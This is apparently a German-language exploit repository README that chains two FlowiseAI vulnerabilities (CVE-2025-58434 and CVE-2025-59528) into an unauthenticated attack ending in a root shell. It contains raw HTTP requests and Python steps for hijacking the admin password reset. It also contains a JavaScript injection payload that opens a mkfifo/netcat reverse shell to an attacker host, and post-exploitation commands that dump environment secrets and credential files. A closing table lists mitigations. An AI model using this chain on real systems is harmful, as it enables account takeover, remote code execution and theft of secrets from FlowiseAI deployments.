
Kritische nicht authentifizierte Angriffskette, die zu vollständigem RCE in FlowiseAI führt (CVE-2025-58434 + CVE-2025-59528)
Unauthentifizierte Account-Übernahme, kombiniert mit Remote-Code-Ausführung gegen FlowiseAI
<= 3.0.5.
Vollständige Container-Kompromittierung in unter 5 Sekunden, keine Anmeldeinformationen erforderlich.
Links: FlowiseAI-Login-Seite — Rechts: Root-Shell via CVE-2025-59528 · uid=0(root)
Dieser Exploit verknüpft zwei unabhängige kritische Schwachstellen zu einem einzigen vollautomatisierten Angriff. Keine der Schwachstellen allein garantiert eine vollständige Kompromittierung – aber zusammen bilden sie eine vollständige Angriffskette von Null-Anmeldeinformationen zu einer Root-Shell innerhalb eines Docker-Containers.
[Keine Anmeldeinformationen]
│
▼
① Missbrauch des 'Passwort vergessen'-Endpunkts (keine Authentifizierung erforderlich)
│ → Server antwortet mit dem Reset-Token des Opfers im Klartext
▼
② Token an den Passwort-Reset-Endpunkt senden
│ → Angreifer kontrolliert das Admin-Passwort
▼
③ Anmelden + Bearer-API-Schlüssel abrufen
│ → Vollständige authentifizierte Sitzung hergestellt
▼
④ JavaScript-Payload über customMCP-Node senden
│ → Server wertet sie über Function()-Konstruktor aus
▼
[Root-Shell im Docker-Container]
Was es interaktionsfrei macht: Zu keinem Zeitpunkt erhält das Opfer eine E-Mail, sieht einen Anmeldehinweis oder löst ein sichtbares Ereignis aus. Der Angriff erfolgt vollständig serverseitig.
CVSS 3.1: 9.8 Critical — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Betroffen: FlowiseAI <= 3.0.5 (Cloud + selbst gehostet)
Advisory: GHSA-wgpv-6j63-x5ph
FlowiseAI hat ein Konzept von „internen“ Anfragen – API-Aufrufe zwischen eigenen Diensten –, die durch den HTTP-Header x-request-from: internal identifiziert werden. Der Endpunkt /api/v1/account/forgot-password verwendet diesen Header, um die Authentifizierung vollständig zu überspringen und eine andere, ausführlichere Antwort zurückzugeben, als dies bei externen Aufrufern der Fall wäre.
Das Problem: dieser Header wird in keiner Weise validiert oder eingeschränkt. Jeder Angreifer im Internet kann ihn senden. Wenn dies geschieht, löst die API keine E-Mail zum Zurücksetzen des Passworts aus, sondern gibt stattdessen den vollständigen Benutzerdatensatz zurück – einschließlich eines aktiven tempToken, das sofort zum Festlegen eines neuen Passworts verwendet werden kann.
Normalerweise sieht ein Passwort-Reset-Ablauf wie folgt aus:
Benutzer fordert Reset an → Server generiert Token → Token per E-MAIL gesendet → Benutzer klickt auf Link → Passwort geändert
Hier überspringt der Server den E-Mail-Schritt vollständig und legt das Token direkt in den HTTP-Antwortkörper. Der Angreifer fängt es ab und geht direkt zum Reset-Schritt über – kein E-Mail-Zugriff erforderlich.
POST /api/v1/account/forgot-password HTTP/1.1
Host: <target>
Content-Type: application/json
x-request-from: internal
{"user": {"email": "[email protected]"}}
201 — vollständiger Benutzerdatensatz offengelegt{
"user": {
"email": "[email protected]",
"credential": "$2a$05$hVtF9EKL0lI1qqrvwTD3QeFMzVlvtk8fAKX...",
"tempToken": "N5oXQ9C99h0zMNNGWLvoE4buMvcdXN32...",
"tokenExpiry": "2026-04-11T21:37:03.063Z",
"status": "active"
}
}
Das tempToken wird dann direkt an den Reset-Endpunkt gesendet – keine E-Mail-Interaktion, kein CAPTCHA, keine Ratenbegrenzung.

CVSS 3.1: 10.0 Critical — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Betroffen: FlowiseAI <= 3.0.5
Advisory: GHSA-3gcm-f6qx-ff7p
FlowiseAI erlaubt Benutzern, benutzerdefinierte MCP (Model Context Protocol)-Nodes mit einer als JSON-String bereitgestellten Serverkonfiguration zu definieren. Intern muss die Plattform diese Konfiguration parsen – und das geschieht mit dem Function()-Constructor von JavaScript, der funktional äquivalent zu eval() ist.
Der Konfigurationsstring erreicht die Senke vollständig unbereinigt:
// packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts — line 262
const result = Function('return ' + mcpServerConfig)();
// ↑ unsanitized user input — arbitrary JS execution
Function() genauso gefährlich ist wie eval()Function('return ' + code)() tut Folgendes:
code als KörperDies gibt dem Angreifer einen vollständigen JavaScript-Ausführungskontext mit Zugriff auf process, require, child_process und die gesamte Node.js-Laufzeit – keine Sandbox.
HTTP POST /api/v1/node-load-method/customMCP
└─ body.inputs.mcpServerConfig ← vom Angreifer kontrollierter String
└─ substituteVariablesInString() ← keine Filterung, wird durchgereicht
└─ convertToValidJSONString() ← keine Filterung, wird durchgereicht
└─ Function('return ' + input)() ← beliebiger Code wird hier ausgeführt
({x:(function(){
const cp = process.mainModule.require("child_process");
cp.exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc LHOST LPORT >/tmp/f");
return 1;
})()})
Warum
mkfifound nicht/dev/tcp?
Der Container läuft mit/bin/sh, nicht/bin/bash./dev/tcpist eine Bash-exklusive Funktion – sie existiert in standardmäßigen POSIX-Shells nicht.mkfifoerstellt eine Named Pipe, die in jeder POSIX-konformen Shell funktioniert, was die Reverse-Shell über Containerumgebungen hinweg portabel macht.
Der Exploit ist in vier aufeinanderfolgende Schritte strukturiert, die jeweils direkt einer Phase der Angriffskette entsprechen.
CVE-2025-58434)r1 = session.post(
f"{TARGET}/api/v1/account/forgot-password",
headers={"x-request-from": "internal"},
json={"user": {"email": EMAIL}}
)
temp_token = r1.json()["user"]["tempToken"]
Was passiert: Der Server glaubt, dass dies ein interner Service-to-Service-Aufruf ist, aufgrund des x-request-from: internal-Headers. Er überspringt den normalen E-Mail-Versandweg und gibt den vollständigen Benutzerdatensatz – einschließlich eines aktiven Passwort-Reset-Tokens – direkt im HTTP-201-Antwortkörper zurück.
Warum es funktioniert: Die Header-Prüfung erfolgt rein stringbasiert ohne kryptografische Verifikation. Jeder Aufrufer kann ihn setzen. Das Backend validiert nicht die Herkunft der Anfrage.
session.post(
f"{TARGET}/api/v1/account/reset-password",
headers={"x-request-from": "internal"},
json={"user": {"email": EMAIL, "tempToken": temp_token, "password": NEW_PASS}}
)
Was passiert: Das gestohlene tempToken wird zusammen mit einem neuen, vom Angreifer gewählten Passwort übermittelt. Der Server validiert das Token (das echt und aktiv ist), bestätigt die E-Mail-Übereinstimmung und aktualisiert den Berechtigungshash – keine E-Mail-Bestätigung, keine sekundäre Prüfung.
Warum es funktioniert: Die Token-Validierung prüft nur, ob das Token existiert und nicht abgelaufen ist. Sie überprüft nicht, ob der Aufrufer, der das Token generiert hat, mit dem Aufrufer identisch ist, der den Reset einreicht. Die Eigentümerschaft wird niemals verifiziert.
# Login with the newly set password
session.post(f"{TARGET}/api/v1/auth/login",
json={"email": EMAIL, "password": NEW_PASS})
# Fetch the Bearer API key needed for the RCE endpoint
r4 = session.get(f"{TARGET}/api/v1/apikey")
api_key = r4.json()[0]["apiKey"]
Was passiert: Eine normale Anmeldung mit dem neuen Passwort des Angreifers stellt eine vollständige Admin-Sitzung (cookie-basiert) her. Die Sitzung wird dann verwendet, um den Standard-API-Schlüssel der Plattform abzurufen, der erforderlich ist, um Anfragen an den in Schritt 4 verwendeten node-load-method-Endpunkt zu authentifizieren.
Warum es funktioniert: An diesem Punkt IST der Angreifer der Admin – er besitzt die Anmeldeinformationen. Die Sitzung und der API-Schlüssel werden legitimerweise vom Server ausgestellt.
CVE-2025-59528)js_payload = (
'({x:(function(){const cp = process.mainModule.require("child_process"); '
f'cp.exec(`{revshell}`); return 1;}})()'
)
session.post(
f"{TARGET}/api/v1/node-load-method/customMCP",
headers={"Authorization": f"Bearer {api_key}"},
json={"loadMethod": "listActions", "inputs": {"mcpServerConfig": js_payload}}
)
Was passiert: Die Payload ist eine selbstaufrufende JavaScript-Funktion (IIFE), getarnt als JSON-kompatibles Objekt. Wenn convertToValidJSONString() sie verarbeitet, landet der Wert innerhalb von Function('return ' + input)() – was sie als Live-JavaScript mit vollem Node.js-Laufzeitzugriff ausführt. child_process.exec() feuert den Reverse-Shell-Befehl ab und stellt eine Verbindung zum Listener des Angreifers her.
Warum der IIFE-Wrapper? Das Muster Function('return ' + x) erwartet, dass der Ausdruck rückgabefähig ist. Das Einwickeln des schädlichen Codes in ({x: (function(){ ... })()}) macht den gesamten Ausdruck zu gültigem JavaScript, das zu einem Objekt ausgewertet wird – was den Parser zufriedenstellt, während die Payload als Nebeneffekt ausgeführt wird.
Warum nohup + disown? Die HTTP-Anfrage hat ein Timeout. Ohne Trennen des Prozesses würde die Shell sterben, wenn die Anfrage ein Timeout erleidet. nohup + disown löst die Reverse-Shell vom Node.js-Prozess und hält sie unabhängig am Leben.
# 1. Start your listener first
nc -lvnp 4444
# 2. Run the full kill chain
python3 exploit.py -ip <TARGET_IP> -lhost <YOUR_IP> -lport 4444
# 3. If the admin password was already reset in a prior attempt
python3 exploit.py -ip <TARGET_IP> -lhost <YOUR_IP> -lport 4444 --skipreset
pip install requests
Sobald die Shell fällt, läuft der Container typischerweise als Root mit Zugriff auf die gesamte FlowiseAI-Anwendungsumgebung:
# Secrets and credentials
env # API keys, DB URIs, service credentials in environment vars
cat .env # FlowiseAI config file — database passwords, JWT secrets
# Application internals
ls /app/packages/ # Monorepo structure — source code, configs, node_modules
cat /app/packages/server/.env
# Container context
cat /proc/1/cmdline # What process is PID 1 — confirms container environment
hostname # Container ID
cat /etc/hosts # Internal network map — other services reachable
# Lateral movement candidates
env | grep -i "db\|mongo\|postgres\|redis\|key\|secret\|token\|pass"
Dieses Repository und aller zugehöriger Code werden ausschließlich zu Bildungs- und autorisierten Sicherheitsforschungszwecken veröffentlicht.
Beide Schwachstellen sind öffentlich offengelegt und ab FlowiseAI 3.0.6 behoben. Das Testen gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Genehmigung zur Bewertung haben, ist nach geltendem Recht illegal – einschließlich, aber nicht beschränkt auf den Computer Fraud and Abuse Act (CFAA), den Computer Misuse Act und die EU-NIS2-Richtlinie.
Die Autoren übernehmen keine Haftung für Schäden, die aus dem Missbrauch dieses Materials entstehen.
0H4K3D · CVE Team
| Eigenschaft | Details |
|---|
| Keine Anmeldeinformationen erforderlich | Der Angreifer beginnt mit nichts außer einer Ziel-IP |
| Keine Opferinteraktion | Kein Phishing, kein Klick, kein Social Engineering |
| Keine Ratenbegrenzung | Der Reset-Endpunkt hat keine Drosselung – bei Bedarf brute-force-bar |
| Kein CAPTCHA | Der Reset-Ablauf hat keine menschliche Verifikation |
| Keine E-Mail-Bestätigung | Passwortänderung ist sofort, still, unwiderruflich |
| Volle Node.js-Laufzeit bei RCE | child_process, Dateisystem, Netzwerk – keine Sandbox |
| Läuft als Root in Docker | Container wird typischerweise als Root gestartet, voller Dateisystemzugriff |
| Betrifft Cloud + selbst gehostet | Jede Bereitstellung von <= 3.0.5 ist verwundbar |
| Flag | Beschreibung | Erforderlich |
|---|
-ip | Ziel-IP-Adresse | ✅ |
-lhost | Ihre IP für den Reverse-Shell-Callback | ✅ |
-lport | Ihr Listening-Port | ✅ |
--skipreset | CVE-2025-58434 überspringen (Phasen 1 & 2) — verwenden, wenn Konto bereits kompromittiert | ❌ |
| Maßnahme | Priorität |
|---|
Upgrade auf FlowiseAI ≥ 3.0.6 | 🔴 Unverzüglich |
Blockieren von x-request-from: internal am Reverse-Proxy – es sollte niemals aus dem Internet kommen | 🔴 Unverzüglich |
Einschränken von /api/v1/account/* auf authentifizierte Sitzungen | 🔴 Unverzüglich |
Bereinigen von mcpServerConfig – Benutzereingaben niemals an Function() oder eval() übergeben | 🔴 Unverzüglich |
| Hinzufügen von Ratenbegrenzung und CAPTCHA zu allen Passwort-Reset-Endpunkten | 🔴 Unverzüglich |
| Isolieren der FlowiseAI-Instanz vom Internet, falls keine öffentliche Exposition erforderlich ist | 🟠 Hoch |
| Ausführen des Containers als Nicht-Root-Benutzer | 🟠 Hoch |
| Aktivieren der Anomalieerkennung für Passwort-Reset- und MCP-Endpunkte | 🟡 Mittel |
Prüfen aller Endpunkte, die x-request-from akzeptieren, und sicherstellen, dass sie nicht extern aufgerufen werden können | 🟡 Mittel |